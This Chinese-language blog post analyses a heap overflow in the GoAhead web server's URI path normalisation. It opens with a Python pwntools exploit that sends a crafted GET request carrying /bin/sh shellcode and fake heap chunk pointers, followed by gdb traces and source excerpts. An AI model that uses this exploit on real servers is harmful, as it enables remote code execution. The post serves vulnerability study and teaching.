作者:k0shl 转载请注明出处:https://whereisk0shl.top
马上双蛋了,感谢一年来小伙伴们对我博客的支持,祝大家圣诞快乐,元旦快乐,这个漏洞是Linux下一个非常经典的堆溢出漏洞,前段时间GoAhead又曝光了一个远程代码执行,但和这个漏洞有本质区别,如果喜欢在Linux下实战联系堆溢出的话,这个漏洞再好不过。
漏洞说明
软件下载:
这个版本的软件我也找不到了,如果想下载的话可以尝试找3.1版本,应该还是比较好找的
http://download.csdn.net/download/stonye/7527021
可以尝试CSDN的这个
PoC:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
def hex2url(i):
array = format(i, 'X')
if len(array) % 2 != 0:
array = '0' + array
ret = ''.join('%' + array[i-2:i] for i in xrange(len(array), 0, -2))
return ret
def fake(chunk_addr):
print(hex(chunk_addr))
chunk = int(hex(chunk_addr)[0:8], 16) + 1
print(chunk)
fake_fd = hex(chunk)
fake_chunk_addr = int(fake_fd + '2f', 16)
fake_bk = fake_chunk_addr - 8
return fake_chunk_addr, int(fake_fd, 16), fake_bk
def make_fake_chunk(chunk_addr):
chunk = (chunk_addr & ~0xff) + 0x12f
fd = int(format(chunk, '08X')[:6], 16)
bk = chunk
return fd, bk, chunk
pro = remote('localhost', 80)
chunk = 0x8057840
fd, bk, fake_chunk = make_fake_chunk(chunk)
print(hex(fd), hex(bk), hex(fake_chunk))
shellcode = '%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90'
shellcode += "%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd"
shellcode += "%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69"
shellcode += "%6e%2f%73%68"
shellcode_addr = fake_chunk + 4 * 4
offset = 0
exp = 'GET /'
exp += hex2url(fd) # fd
exp += hex2url(bk) # bk
exp += hex2url(0xbffff2ac - 20) # fd_next, stack
exp += hex2url(shellcode_addr) # bk_next
pad = fake_chunk - chunk - 16
print('pad:{0}'.format(pad))
# fake chunk
exp += 'A' * (fake_chunk - chunk - 16)
exp += hex2url(0x01020304) # prev_size
exp += hex2url(0x01020304) # size
exp += hex2url(chunk - 8) # fd
exp += hex2url(chunk - 8) # bk
exp += shellcode
print('--{}'.format(1024 - (fake_chunk - chunk) - 16 - len(shellcode)/3))
exp += '/./'
exp += hex2url(2) * 50
exp += 'A' * (1024 - (fake_chunk - chunk) - 16 - len(shellcode) / 3 - 50)
exp += '/.ssss'
#exp += 'A'*1024
exp += ' HTTP/1.0rnrn'
print(len(exp))
print(exp)
pro.send(exp)
测试环境:
Ubuntu 14.04
漏洞复现
这是一个非常有意思的堆溢出漏洞,Goahead是一个知名的Web Server服务器,在处理传入数据包时,对数据包分别进行了一些处理,在处理之后与之前的长度,没有进行有效的对称,从而导致将后续数据包考入之前申请的缓冲区时,如果后续数据包长度过大,会使之前的缓冲区发生溢出。
之前缓冲区是malloc申请而成,溢出后,可以通过覆盖某些关键指针和变量,来在堆释放时触发unlink,从而导致任意代码执行,下面对此漏洞进行详细分析。
首先运行Goahead,然后通过gdb attach pid附加进程,运行exp,发现程序中断,命中断点。
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x545
ECX: 0x545
EDX: 0x6
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8
EBP: 0xbffff178 --> 0x805cb28 --> 0x0
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0
0004| 0xbfffeeb8 --> 0x6
0008| 0xbfffeebc --> 0x545
0012| 0xbfffeec0 --> 0xb7d74307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xbfffeec4 --> 0xb7eec000 --> 0x1a5da8
0020| 0xbfffeec8 --> 0xbfffef64 --> 0x77 ('w')
0024| 0xbfffeecc --> 0xb7d759c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xbfffeed0 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
通过bt命令可以回溯调用。
gdb-peda$ bt
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb7d74307 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb7d759c3 in __GI_abort () at abort.c:89
#3 0xb7db26f8 in __libc_message (do_abort=do_abort@entry=0x1,
fmt=fmt@entry=0xb7ea865c "*** Error in `%s': %s: 0x%s ***\n")
at ../sysdeps/posix/libc_fatal.c:175
#4 0xb7db876a in malloc_printerr (action=<optimized out>,
str=0xb7ea4138 "corrupted double-linked list", ptr=0x805cb28)
at malloc.c:4996
#5 0xb7db95fb in _int_free (av=0xb7eec420 <main_arena>, p=<optimized out>,
have_lock=0x0) at malloc.c:3996
#6 0xb7dbc0c3 in __GI___libc_free (mem=<optimized out>) at malloc.c:2946
#7 0xb7fb661d in websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3238
#8 0xb7fb8ab3 in parseFirstLine (wp=<optimized out>) at src/http.c:957
#9 parseIncoming (wp=<optimized out>) at src/http.c:872
#10 websPump (wp=0x804f560) at src/http.c:826
#11 0xb7fb906d in readEvent (wp=0x804f560) at src/http.c:799
#12 socketEvent (sid=0x2, mask=0x2, wptr=0x804f560) at src/http.c:737
#13 0xb7fc6322 in socketDoEvent (sp=0x804f4b0) at src/socket.c:650
#14 socketProcess () at src/socket.c:624
#15 0xb7fb35b5 in websServiceEvents (finished=0x804ab44 <finished>)
at src/http.c:1293
#16 0x08048c31 in main (argc=0x5, argv=0xbffff4b4, envp=0xbffff4cc)
at src/goahead.c:146
#17 0xb7d5fa63 in __libc_start_main (main=0x8048a70 <main>, argc=0x5,
argv=0xbffff4b4, init=0x80491e0 <__libc_csu_init>,
fini=0x8049250 <__libc_csu_fini>, rtld_fini=0xb7fedc90 <_dl_fini>,
stack_end=0xbffff4ac) at libc-start.c:287
#18 0x08048f67 in _start ()
查看一下现在服务器上的情况。
/./mean to strcat cannot heap overflow
goahead: 2: GET /%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%04%03%02%01%04%03%02%01%38%78%05%08%38%78%05%08%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69%6e%2f%73%68/./%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0
*** Error in `goahead': free(): corrupted unsorted chunks: 0x080622c0 ***
可以看到,此时已经出发了corrupted unsorted chunks,这个是glibc在新版本后引入用于对抗unlink时指针欺骗的,但是不要紧,这个在利用中是可以绕过的,在分析时我们不关心。
但是由此可见,这时已经触发了unlink操作,接下来,根据bt回溯情况,来分析整个漏洞的成因。
漏洞分析
首先从main函数来跟踪一下调用情况,首先是在goahead.c中。
while (!finished || !*finished) {
if (socketSelect(-1, delay)) {
socketProcess(); open a socket process
}
首先在main函数中,会启用socketProcess,也就是启用Socket进程,接下来进入http.c中。
PUBLIC void socketProcess()
{
WebsSocket *sp;
int sid;
for (sid = 0; sid < socketMax; sid++) {
if ((sp = socketList[sid]) != NULL) {
if (sp->currentEvents & sp->handlerMask) {
socketDoEvent(sp); if sid then do event
}
}
}
}
在进程中,会调用一个socket事件,接着往里跟踪。
if (sp->handler && (sp->handlerMask & sp->currentEvents)) {
(sp->handler)(sid, sp->handlerMask & sp->currentEvents, sp->handler_data);
/*
Make sure socket pointer is still valid, then reset the currentEvents.
*/
if (socketList && sid < socketMax && socketList[sid] == sp) {
sp->currentEvents = 0; create a socket handler
}
这里会对sid进程句柄进行一些简单的判断,然后就会进入关键函数调用了。
static bool parseIncoming(Webs *wp)
{
WebsBuf *rxbuf;
char *end, c;
rxbuf = &wp->rxbuf;
while (*rxbuf->servp == '\r' || *rxbuf->servp == '\n') {
bufGetc(rxbuf);
}
if ((end = strstr((char*) wp->rxbuf.servp, "\r\n\r\n")) == 0) {
if (bufLen(&wp->rxbuf) >= BIT_GOAHEAD_LIMIT_HEADER) {
websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Header too large");
return 1;
}
return 0;
}
trace(3 | WEBS_RAW_MSG, "\n<<< Request\n");
c = *end;
*end = '\0';
trace(3 | WEBS_RAW_MSG, "%s\n", wp->rxbuf.servp);
*end = c;
/*
Parse the first line of the Http header
*/
parseFirstLine(wp);
在函数中,会调用parseFirstLine函数,这个函数有一个参数,是一个结构体Webs。
typedef struct Webs {
WebsBuf rxbuf; /**< Raw receive buffer */
WebsBuf input; /**< Receive buffer after de-chunking */
WebsBuf output; /**< Transmit buffer after chunking */
WebsBuf chunkbuf; /**< Pre-chunking data buffer */
WebsBuf *txbuf;
WebsTime since; /**< Parsed if-modified-since time */
WebsHash vars; /**< CGI standard variables */
WebsTime timestamp; /**< Last transaction with browser */
int timeout; /**< Timeout handle */
char ipaddr[64]; /**< Connecting ipaddress */
char ifaddr[64]; /**< Local interface ipaddress */
int rxChunkState; /**< Rx chunk encoding state */
ssize rxChunkSize; /**< Rx chunk size */
char *rxEndp; /**< Pointer to end of raw data in input beyond endp */
ssize lastRead; /**< Number of bytes last read from the socket */
bool eof; /**< If at the end of the request content */
char txChunkPrefix[16]; /**< Transmit chunk prefix */
char *txChunkPrefixNext; /**< Current I/O pos in txChunkPrefix */
ssize txChunkPrefixLen; /**< Length of prefix */
ssize txChunkLen; /**< Length of the chunk */
int txChunkState; /**< Transmit chunk state */
// MOB OPT - which of these should be allocated strings and which should be static
char *authDetails; /**< Http header auth details */
char *authResponse; /**< Outgoing auth header */
char *authType; /**< Authorization type (Basic/DAA) */
char *contentType; /**< Body content type */
char *cookie; /**< Request cookie string */
char *decodedQuery; /**< Decoded request query */
char *digest; /**< Password digest */
char *ext; /**< Path extension */
char *filename; /**< Document path name */
char *host; /**< Requested host */
char *inputFile; /**< File name to write input body data */
char *method; /**< HTTP request method */
char *password; /**< Authorization password */
char *path; /**< Path name without query. This is decoded. */
char *protoVersion; /**< Protocol version (HTTP/1.1)*/
char *protocol; /**< Protocol scheme (normally http|https) */
char *putname; /**< PUT temporary filename */
char *query; /**< Request query. This is decoded. */
char *realm; /**< Realm field supplied in auth header */
char *referrer; /**< The referring page */
char *responseCookie; /**< Outgoing cookie */
char *url; /**< Full request url. This is not decoded. */
char *userAgent; /**< User agent (browser) */
char *username; /**< Authorization username */
int sid; /**< Socket id (handler) */
int listenSid; /**< Listen Socket id */
int port; /**< Request port number */
int state; /**< Current state */
int flags; /**< Current flags -- see above */
int code; /**< Response status code */
ssize rxLen; /**< Rx content length */
ssize rxRemaining; /**< Remaining content to read from client */
ssize txLen; /**< Tx content length header value */
int wid; /**< Index into webs */
#if BIT_GOAHEAD_CGI
char *cgiStdin; /**< Filename for CGI program input */
int cgifd; /**< File handle for CGI program input */
#endif
#if !BIT_ROM
int putfd; /**< File handle to write PUT data */
#endif
int docfd; /**< File descriptor for document being served */
ssize written; /**< Bytes actually transferred */
ssize putLen; /**< Bytes read by a PUT request */
struct WebsSession *session; /**< Session record */
struct WebsRoute *route; /**< Request route */
struct WebsUser *user; /**< User auth record */
WebsWriteProc writeData; /**< Handler write I/O event callback. Used by fileHandler */
int encoded; /**< True if the password is MD5(username:realm:password) */
#if BIT_DIGEST
char *cnonce; /**< check nonce */
char *digestUri; /**< URI found in digest header */
char *nonce; /**< opaque-to-client string sent by server */
char *nc; /**< nonce count */
char *opaque; /**< opaque value passed from server */
char *qop; /**< quality operator */
#endif
#if BIT_GOAHEAD_UPLOAD
int upfd; /**< Upload file handle */
WebsHash files; /**< Uploaded files */
char *boundary; /**< Mime boundary (static) */
ssize boundaryLen; /**< Boundary length */
int uploadState; /**< Current file upload state */
WebsUpload *currentFile; /**< Current file context */
char *clientFilename; /**< Current file filename */
char *uploadTmp; /**< Current temp filename for upload data */
char *uploadVar; /**< Current upload form variable name */
#endif
void *ssl; /**< SSL context */
} Webs;
这个Webs结构体其实包含了整个Web Server服务端需要的变量,那么继续往里跟踪。
static void parseFirstLine(Webs *wp)
{
char *op, *protoVer, *url, *host, *query, *path, *port, *ext, *buf;
int testPort;
^^^^
if (websGetLogLevel() == 2) { host = path = port = query = ext = NULL;
if (websUrlParse(url, &buf, NULL, &host, &port, &path, &ext, NULL, &query) < 0) {
error("Cannot parse URL: %s", url);
websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
return;
}
if ((wp->path = websNormalizeUriPath(path)) == 0) {
error("Cannot normalize URL: %s", url);
websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
wfree(buf);
return;
}
根据我们上面的回溯部分,可以看到函数中websNormalizeUriPath函数是漏洞触发的主要函数,它的参数path是数据包中我们构造的畸形字符串,而它又是从哪里来的呢?
注意一下上面的websUrlParse函数,中间会对path进行处理,下面动态调试。在websUrlParse下断点。
gdb-peda$ b websUrlParse
Breakpoint 1 at 0xb7fb5fd0: file src/http.c, line 3027.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff2c0 --> 0xbffff320 --> 0x2
EBX: 0xb7fd8480 --> 0x30328
ECX: 0xb7eec420 --> 0x0
EDX: 0x0
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
EIP: 0xb7fb5fd0 (<websUrlParse>: push ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fb5fcd: nop
0xb7fb5fce: nop
0xb7fb5fcf: nop
=> 0xb7fb5fd0 <websUrlParse>: push ebp
0xb7fb5fd1 <websUrlParse+1>: push edi
0xb7fb5fd2 <websUrlParse+2>: push esi
0xb7fb5fd3 <websUrlParse+3>: push ebx
0xb7fb5fd4 <websUrlParse+4>: call 0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0xbffff320 --> 0x2
0012| 0xbffff268 --> 0x0
0016| 0xbffff26c --> 0xbffff2ac --> 0x0
0020| 0xbffff270 --> 0xbffff2b8 --> 0x0
0024| 0xbffff274 --> 0xbffff2b4 --> 0x0
0028| 0xbffff278 --> 0xbffff2bc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, websUrlParse (
url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac,
pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0,
pquery=0xbffff2b0) at src/http.c:3027
3027 {
gdb-peda$ x/10x 0xbffff2b4
0xbffff2b4: 0x00000000 0x00000000 0x00000000 0xbffff320
0xbffff2c4: 0xb7fecc9f 0xb7fdbb00 0x00000000 0x00000001
0xbffff2d4: 0x00000001 0x00000000
可以看到,此时url已经传入了畸形字符串,函数中,会对这个字符串进行各种处理,把它们处理后交给其他输出变量。
注意bffff2b4处的变量。接下来直接执行到函数返回的位置。
gdb-peda$ b *0xb7fb61be
Breakpoint 2 at 0xb7fb61be: file src/http.c, line 3162.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fd8480 --> 0x30328
ECX: 0xbffff2b0 --> 0xb7fc90f7 --> 0x74746800 ('')
EDX: 0x0
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
EIP: 0xb7fb61be (<websUrlParse+494>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fb61bb <websUrlParse+491>: pop esi
0xb7fb61bc <websUrlParse+492>: pop edi
0xb7fb61bd <websUrlParse+493>: pop ebp
=> 0xb7fb61be <websUrlParse+494>: ret
0xb7fb61bf <websUrlParse+495>: nop
0xb7fb61c0 <websUrlParse+496>: lea eax,[ebp+0x7]
0xb7fb61c3 <websUrlParse+499>: mov BYTE PTR [ebp+0x4],0x0
0xb7fb61c7 <websUrlParse+503>: mov edx,DWORD PTR [esp+0xc]
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>: add esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0x805bcc0 --> 0x805792f --> 0x0
0012| 0xbffff268 --> 0x0
0016| 0xbffff26c --> 0xbffff2ac --> 0xb7fc94e1 ("localhost")
0020| 0xbffff270 --> 0xbffff2b8 --> 0x805c70e --> 0x0
0024| 0xbffff274 --> 0xbffff2b4 --> 0x805bcc0 --> 0x805792f --> 0x0
0028| 0xbffff278 --> 0xbffff2bc --> 0x805c1e4 --> 0x782e ('.x')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xb7fb61be in websUrlParse (
url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac,
pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0,
pquery=0xbffff2b0) at src/http.c:3162
3162 }
gdb-peda$ x/10x *0xbffff2b4
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
可以看到,此时已经覆盖上畸形变量了,bffff2b4存放的是path地址,接下来返回后,path会继续传入到漏洞函数中。
gdb-peda$
[-------------------------------------code-------------------------------------]
0xb7fb8aa1 <websPump+4577>: js 0xb7fb8cca <websPump+5130>
0xb7fb8aa7 <websPump+4583>: sub esp,0xc
0xb7fb8aaa <websPump+4586>: push DWORD PTR [esp+0x30]
=> 0xb7fb8aae <websPump+4590>: call 0xb7fad160 <websNormalizeUriPath@plt>
0xb7fb8ab3 <websPump+4595>: mov edi,DWORD PTR [esp+0xc0]
0xb7fb8aba <websPump+4602>: add esp,0x10
0xb7fb8abd <websPump+4605>: test eax,eax
0xb7fb8abf <websPump+4607>: mov DWORD PTR [edi+0x16c],eax
Guessed arguments:
arg[0]: 0x805bcc0 --> 0x805792f --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff280 --> 0x805bcc0 --> 0x805792f --> 0x0
0004| 0xbffff284 --> 0xb7fdb948 --> 0xb7fa8000 --> 0x464c457f
0008| 0xbffff288 --> 0xb7fc03c5 (<websGetLogLevel+5>: add ecx,0x180bb)
0012| 0xbffff28c --> 0xb7fb8a40 (<websPump+4480>: cmp eax,0x2)
0016| 0xbffff290 --> 0xbffff2f0 --> 0xb7faa608 --> 0x675f5f00 ('')
0020| 0xbffff294 --> 0xb7eec450 --> 0x80618a8 --> 0x0
0024| 0xbffff298 --> 0x10
0028| 0xbffff29c --> 0x2008
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
接下来,进入到漏洞函数开始分析漏洞的成因。首先根据源码,找到了一处strcpy函数。
if ((dupPath = walloc(len + 2)) == 0) {
return NULL;
}
strcpy(dupPath, pathArg);
这里会将畸形字符串考入dupPath中。
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
[-------------------------------------code-------------------------------------]
0xb7fb6445 <websRewriteRequest+229>:
jmp 0xb7fb6432 <websRewriteRequest+210>
0xb7fb6447: mov esi,esi
0xb7fb6449: lea edi,[edi+eiz*1+0x0]
=> 0xb7fb6450 <websNormalizeUriPath>: push ebp
0xb7fb6451 <websNormalizeUriPath+1>: push edi
0xb7fb6452 <websNormalizeUriPath+2>: push esi
0xb7fb6453 <websNormalizeUriPath+3>: push ebx
0xb7fb6454 <websNormalizeUriPath+4>:
call 0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 4, websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3170
3170 {
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
gdb-peda$
strcpy(dupPath, pathArg);
[-------------------------------------code-------------------------------------]
0xb7fb64a8 <websNormalizeUriPath+88>: push esi
0xb7fb64a9 <websNormalizeUriPath+89>: mov esi,DWORD PTR [esp+0x20]
0xb7fb64ad <websNormalizeUriPath+93>: push esi
=> 0xb7fb64ae <websNormalizeUriPath+94>: call 0xb7fad8c0 <strcpy@plt>
0xb7fb64b3 <websNormalizeUriPath+99>: lea eax,[edi*4+0x4]
0xb7fb64ba <websNormalizeUriPath+106>: mov DWORD PTR [esp],eax
0xb7fb64bd <websNormalizeUriPath+109>: call 0xb7fad9b0 <malloc@plt>
0xb7fb64c2 <websNormalizeUriPath+114>: add esp,0x10
gdb-peda$ x/10x $esp
0xbffff230: 0x0805c720 0x0805bcc0 0x00000000 0x0805c1e6
0xbffff240: 0x0805d8ac 0xb7faa388 0xb7fb5fd9 0xb7fd8480
0xbffff250: 0x0805ddd3 0x0805c720
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0: 0x0805792f 0x0805792f 0xbffff298 0x0805793f
0x805bcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x805bce0: 0x41414141 0x41414141
接下来会进入两处for循环,会对路径进行一些处理,比如将/./合并等等,在第二处for循环中,由于输入和输出长度变量没有对称,导致拷贝中可以构成一个超长字符串,下面动态来观察这一过程。
for (mark = sp = dupPath; *sp; sp++) {
if (*sp == '/') {
*sp = '\0';
while (sp[1] == '/') {
sp++;
}
segments[nseg++] = mark;
len += (int) (sp - mark);
mark = sp + 1;
}
}
segments[nseg++] = mark;
len += (int) (sp - mark);
for (j = i = 0; i < nseg; i++, j++) {
sp = segments[i];
if (sp[0] == '.') {
if (sp[1] == '\0') {
if ((i+1) == nseg) {
segments[j] = "";
} else {
j--;
}
} else if (sp[1] == '.' && sp[2] == '\0') {
if (i == 1 && *segments[0] == '\0') {
j = 0;
} else if ((i+1) == nseg) {
if (--j >= 0) {
segments[j] = "";
}
} else {
j = max(j - 2, -1);
}
}
} else {
segments[j] = segments[i];
}
}
上述代码就是我描述的过程,执行完处理后,看一下dp的长度。
Breakpoint 2, 0xb7fb65ac in websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3227
3227 if ((path = walloc(len + nseg + 1)) != 0) {
gdb-peda$ x/10x $esp
0xbffff230: 0x0000040a 0x0805bcc0 0x00000000 0x0805c1e9
0xbffff240: 0x0805d8ac 0xb7faa388 0xb7fb5fd9 0x00000402
0xbffff250: 0x0805ddd6 0x0805c728
这里注意一下esp的值,返回中esp中存放的值是40a,也就是1034,就是缓冲区的长度,接下来到达一处非常关键的for循环。
if ((path = walloc(len + nseg + 1)) != 0) {
for (i = 0, dp = path; i < nseg; ) {
strcpy(dp, segments[i]);
len = (int) slen(segments[i]);
dp += len;
if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
*dp++ = '/';
}
}
*dp = '\0';
}
这里会根据nseg执行strcpy操作,由于之前的问题,会导致拷贝超过dp本身的大小,也就是1034,来看一下到底拷贝了多少内容。
1:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x0
2:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3
3:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x132
4:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x3
6:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2
7:Breakpoint 5, websNormalizeUriPath (
pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232 if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2
8:Breakpoint 5, websNormalizeUriPath (
